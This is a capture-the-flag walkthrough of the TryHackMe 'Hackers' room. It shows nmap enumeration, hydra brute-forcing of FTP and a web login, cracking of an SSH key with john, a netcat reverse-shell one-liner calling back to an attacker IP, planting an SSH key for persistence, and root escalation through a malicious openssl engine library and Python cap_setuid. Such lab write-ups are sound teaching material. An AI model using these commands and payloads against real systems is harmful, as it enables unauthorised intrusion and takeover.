THM - KoTH Hackers

Check it out at TryHackMe KoTH Hackers

Room created by me, TryHackMe profile

From the May collection of boxes, Hackers was designed to be a step up in difficulty from FoodCTF. With dynamic passwords and keys, this box is designed to be more replayable too.

Enumeration

Your first step should always be enumeration. If you don't know where a door is, you can't use it to get in. Let's find those doors.

An nmap scan reveals 4 open ports, 21, 22, 80 and 9999. 9999 is running the king service, so this isn't likely to be a way in.

root@ninja:~# nmap -sV -p- 10.10.166.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-09 17:59 BST
Nmap scan report for 10.10.166.184
Host is up (0.022s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
9999/tcp open  abyss?

Let's check them out in numerical order. For FTP, it's worth trying the username "Anonymous" with no password to see if that's enabled.

Initial Access

root@ninja:~/koth-hackers# ftp 10.10.166.184
Connected to 10.10.166.184.
220-Ellingson Mineral Company FTP Server
220-
220-WARNING
220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986
220 
Name (10.10.166.184:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           400 Apr 29 03:57 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (400 bytes).
226 Transfer complete.
400 bytes received in 0.00 secs (1.2844 MB/s)
ftp> exit
221 Goodbye.

Sweet, we got access. There was a note on the FTP, let's see what it says.

root@ninja:~/koth-hackers# cat note
Note:
Any users with passwords in this list:
love
sex
god
secret
will be subject to an immediate disciplinary hearing.
Any users with other weak passwords will be complained at, loudly.
These users are:
rcampbell:Robert M. Campbell:Weak password
gcrawford:Gerard B. Crawford:Exposing crypto keys, weak password
Exposing the company's cryptographic keys is a disciplinary offense.
Eugene Belford, CSO

2 accounts, with usernames. And hopefully still weak passwords. Let's try the first password from that list on each account for SSH.

root@ninja:~/koth-hackers# ssh gcrawford@10.10.99.187
The authenticity of host '10.10.99.187 (10.10.99.187)' can't be established.
ECDSA key fingerprint is SHA256:QpACQIiTeFQlJmWkWi2dXjqPsoLnSUJQ714SdksCOe4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.99.187' (ECDSA) to the list of known hosts.
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
gcrawford@10.10.99.187: Permission denied (publickey).

root@ninja:~/koth-hackers# ssh rcampbell@10.10.99.187
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
rcampbell@10.10.99.187's password: 
Permission denied, please try again.
rcampbell@10.10.99.187's password: 

So, Gerard Crawford's account uses key authentication and has password auth disabled. But maybe their weak password is for FTP? Let's chuck hydra at it and find out.

root@ninja:~/koth-hackers# hydra ftp://10.10.99.187 -l gcrawford -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-09 22:20:47
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://10.10.99.187:21/
[STATUS] 2470.00 tries/min, 2470 tries in 00:01h, 14342058 to do in 96:47h, 64 active
[STATUS] 2350.33 tries/min, 7051 tries in 00:03h, 14337477 to do in 101:41h, 64 active
[21][ftp] host: 10.10.99.187   login: gcrawford   password: evelina
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-09 22:27:13

We got creds! Let's log in to the FTP server and see if we can get those crypto keys that Eugene complained at Gerard for exposing

root@ninja:~/koth-hackers# ftp 10.10.99.187 
Connected to 10.10.99.187.
220-Ellingson Mineral Company FTP Server
220-
220-WARNING
220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986
220 
Name (10.10.99.187:root): gcrawford
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x---    6 ftp      ftp          4096 Apr 30 04:25 .
drwxr-x---    6 ftp      ftp          4096 Apr 30 04:25 ..
lrwxrwxrwx    1 ftp      ftp             9 Apr 30 01:31 .bash_history -> /dev/null
-rw-r--r--    1 ftp      ftp           220 Apr 29 04:00 .bash_logout
-rw-r--r--    1 ftp      ftp          3771 Apr 29 04:00 .bashrc
drwx------    2 ftp      ftp          4096 Apr 29 17:05 .cache
drwx------    3 ftp      ftp          4096 Apr 29 17:05 .gnupg
drwxrwxr-x    3 ftp      ftp          4096 Apr 29 20:53 .local
-rw-r--r--    1 ftp      ftp           807 Apr 29 04:00 .profile
drwx------    2 ftp      ftp          4096 May 09 21:10 .ssh
-r--------    1 ftp      ftp           252 Apr 30 04:25 business.txt
226 Directory send OK.
ftp> get business.txt
local: business.txt remote: business.txt
150 Opening BINARY mode data connection for business.txt (252 bytes).
226 Transfer complete.
252 bytes received in 0.00 secs (70.7776 kB/s)
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           398 May 09 21:10 authorized_keys
-rw-------    1 ftp      ftp          1766 May 09 21:10 id_rsa
-rw-r--r--    1 ftp      ftp           398 May 09 21:10 id_rsa.pub
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
150 Opening BINARY mode data connection for id_rsa (1766 bytes).
226 Transfer complete.
1766 bytes received in 0.00 secs (6.1021 MB/s)
ftp> exit
221 Goodbye.

We got a key, and we got a note. Let's check the note.

root@ninja:~/koth-hackers# cat business.txt 
Remember to send the accounts to Rich by 5pm Friday.

Remember to change my password, before the meeting with Mr Belford.
I hope he doesn't fire me. I need to provide for my family
I need to send Ben the flag too

So he's aware of the weak password. Let's check out the SSH key.

root@ninja:~/koth-hackers# chmod 600 id_rsa
root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@10.10.99.187
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
Enter passphrase for key 'id_rsa': 
Enter passphrase for key 'id_rsa': 
Enter passphrase for key 'id_rsa': 
gcrawford@10.10.99.187: Permission denied (publickey).

So, they key is encrypted and the password isn't the same. But we can crack it using john. Let's first convert it to a hash using ssh2john, and then set John The Ripper loose.

root@ninja:~/koth-hackers# python3 /usr/share/john/ssh2john.py id_rsa > ssh_hash.txt
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
    data = base64.decodestring(data)
root@ninja:~/koth-hackers# john ssh_hash.txt --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
saturn1          (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2020-05-09 22:36) 0.3649g/s 5234Kp/s 5234Kc/s 5234KC/sa6_123..*7¡Vamos!
Session completed

Even cracking inside a VM with 4 threads, that was fast. Now let's get an SSH Session.

root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@10.10.99.187
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
Enter passphrase for key 'id_rsa': 
Last login: Wed Apr 29 19:32:48 2020 from 192.168.170.1
gcrawford@gibson:~$ whoami
gcrawford
gcrawford@gibson:~$ ls
business.txt
gcrawford@gibson:~$ ls -lah
total 40K
drwxr-x--- 6 gcrawford gcrawford 4.0K Apr 30 04:25 .
drwxr-xr-x 6 root      root      4.0K Apr 29 22:05 ..
lrwxrwxrwx 1 gcrawford gcrawford    9 Apr 30 01:31 .bash_history -> /dev/null
-rw-r--r-- 1 gcrawford gcrawford  220 Apr 29 04:00 .bash_logout
-rw-r--r-- 1 gcrawford gcrawford 3.7K Apr 29 04:00 .bashrc
-r-------- 1 gcrawford gcrawford  252 Apr 30 04:25 business.txt
drwx------ 2 gcrawford gcrawford 4.0K Apr 29 17:05 .cache
drwx------ 3 gcrawford gcrawford 4.0K Apr 29 17:05 .gnupg
drwxrwxr-x 3 gcrawford gcrawford 4.0K Apr 29 20:53 .local
-rw-r--r-- 1 gcrawford gcrawford  807 Apr 29 04:00 .profile
drwx------ 2 gcrawford gcrawford 4.0K May  9 21:10 .ssh
gcrawford@gibson:~$ sudo -l
[sudo] password for gcrawford:        
Matching Defaults entries for gcrawford on gibson:
    env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gcrawford may run the following commands on gibson:
    (root) /bin/nano /home/gcrawford/business.txt

Getting root from here is trivial, so I'll drop a link to GTFOBins and move on.

Now, port 22. The other user wasn't using key auth, so we might be able to bruteforce their login. Since bruteforcing SSH is slow and FTP uses the same login, let's attack that with hydra again

root@ninja:~/koth-hackers# hydra ftp://10.10.99.187 -l rcampbell -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-09 22:47:36
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://10.10.99.187:21/
[21][ftp] host: 10.10.99.187   login: rcampbell   password: rosita
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-09 22:47:56

Let's log in and see what we can do

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
rcampbell@10.10.99.187's password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

rcampbell@gibson:~$ sudo -l
[sudo] password for rcampbell:       
Sorry, user rcampbell may not run sudo on gibson.
rcampbell@gibson:~$ 

Well. I guess we'll come back to this user later on. Let's move on to the webserver. If we open it up, we're greeted with a page straight from the 90s. Ouch.

But maybe there's more. Let's see what else is on the webserver, by running gobuster.

root@ninja:~/koth-hackers# gobuster dir -u http://10.10.99.187 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.99.187
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/09 23:07:40 Starting gobuster
===============================================================
/backdoor (Status: 301)
/contact (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
/news (Status: 301)
/robots.txt (Status: 200)
/staff (Status: 301)
===============================================================
2020/05/09 23:07:49 Finished
===============================================================

/backdoor. That looks... suspicious to say the least. Let's see what's there.

Screenshot showing the login page on /backdoor

A login page. We don't have creds so let's do some manual enumeration. Let's look at the staff page. See who we're dealing with.

Screenshot showing the page on /staff

Don't just take pages at face value. We know Eugene is the CSO, but if you've seen the movie or googled a plot summary, you'll know he's sabotaging the company. It's likely the backdoor is his.

Screenshot showing the HTML comment on /staff

Viewing source, we see a note. Looks like Eugene might have had to put together this page, and resents that. That comment, "plague", is likely to be his username. Let's capture a request and see what it looks like.

POST /api/login HTTP/1.1
Host: 10.10.99.187
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://10.10.99.187
Content-Length: 33
Connection: close

username=plague&password=password

Now that we have a request, we can try and attack the API route with Hydra. The response was "Incorrect Credentials" so let's use this as our failure condition.

root@ninja:~/koth-hackers# hydra 10.10.99.187 http-post-form '/api/login:username=^USER^&password=^PASS^:Incorrect' -l plague -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-10 00:13:05
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-post-form://10.10.99.187:80/api/login:username=^USER^&password=^PASS^:Incorrect
[80][http-post-form] host: 10.10.99.187   login: plague   password: love29
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-10 00:13:56

Let's use the password we found to log in.

Screenshot showing the backdoor terminal we're given

Looks like we have RCE. If you play around, you might notice it's not exactly a full shell but we can run commands. Let's spawn a revshell.

plague@gibson:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.6.110 4242 >/tmp/f
root@ninja:~/koth-hackers# nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.8.6.110] from (UNKNOWN) [10.10.99.187] 33314
/bin/sh: 0: can't access tty; job control turned off
    $ 

Revshells are nice, but you can do better. Let's establish some persistence with an SSH key.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/production/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Created directory '/home/production/.ssh'.
Your identification has been saved in /home/production/.ssh/id_rsa.
Your public key has been saved in /home/production/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:oyjr1vfKkcVc4syzS7CYJebitE2beHMOxA1zYP3nF+c production@gibson
The key's randomart image is:
+---[RSA 2048]----+
|    o.           |
|   . ..          |
|    o ... .      |
|   . = *.o. . .  |
|    = + So   +   |
|   + * * +. . E  |
|  +.B = o  .     |
| o.O+=oo .       |
| o*.+=+oo        |
+----[SHA256]-----+
$ cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
KEY REDACTED FOR BREVITY
-----END RSA PRIVATE KEY-----

And then let's log in with this key.

root@ninja:~/koth-hackers# nano id_prod
root@ninja:~/koth-hackers# chmod 600 id_prod 
root@ninja:~/koth-hackers# ssh -i id_prod production@10.10.99.187
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
production@gibson:~$ sudo -l
Matching Defaults entries for production on gibson:
    env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User production may run the following commands on gibson:
    (root) NOPASSWD: /usr/bin/openssl
production@gibson:~$ 

That's all the users on the box, with stable SSH connections. That means it's time to look for a privesc.

PrivEscs

We found 2 of the users had limited sudo rights on this box. With GTFOBins, the nano priv esc is fairly simple. OpenSSL, however, is not quite so simple.

From GTFOBins for OpenSSL, we see a large number of potential privescs. Unfortunately, the reverse shell method won't work. If you break the command down, it's running /bin/sh without sudo so there's no privesc. The file read/write methods seem interesting, but the one I found easiest was the library load.

"-engine" is intended for adding software cryptographic engines, but according to GTFOBins we can use this to run code in the main process's context. So, as root when openSSL is ran with sudo. From this article, Hacking Articles - Linux Privilege Escalation using LD_Preload we can work out how to create a shared library that OpenSSL will load and execute.

The C code is fairly simple, the "main" function is replaced with an "_init" which simply starts a shell with a call to system()

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Let's compile this to a .so file and copy it over to the box as we don't have a C compiler on the box.

root@ninja:~/koth-hackers# nano shell.c
root@ninja:~/koth-hackers# gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:5:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    5 |     setgid(0);
        |     ^~~~~~
shell.c:6:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    6 |     setuid(0);
        |     ^~~~~~
root@ninja:~/koth-hackers# scp -i id_prod ./shell.so production@10.10.99.187:~/shell.so
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

And then we need to run openssl as root with sudo, and load our library as the crypto engine.

production@gibson:~$ sudo openssl req -engine ./shell.so 
# id -a
uid=0(root) gid=0(root) groups=0(root)

There's still one more user that we haven't found a privesc for. They don't get sudo. Let's look for suid binaries. I won't show the output because it's very long.

Ok, nothing unusual there. Let's try looking for SUID's big brother, capabilities. These were added to the Linux kernel as an alternative to suid, to allow more granular control over privileges.

rcampbell@gibson:~$ getcap -r / 2>/dev/null
/usr/bin/python3.6 = cap_setuid+ep
/usr/bin/python3.6m = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Depending on how much you know about Linux, you might notice "setuid". Sounds pretty interesting. That capability allows the process to use the setuid system call fully, more info here.

With python, we can set our process's UID with os.setuid(id). Let's quickly write some code and then get root!

import os,pty

os.setuid(0)
pty.spawn("/bin/bash")

You can do this on a single line using python -c. Running our script gives us a root shell. Neat.

rcampbell@gibson:~$ python3 shell.py 
root@gibson:~# id -a
uid=0(root) gid=1002(rcampbell) groups=1002(rcampbell)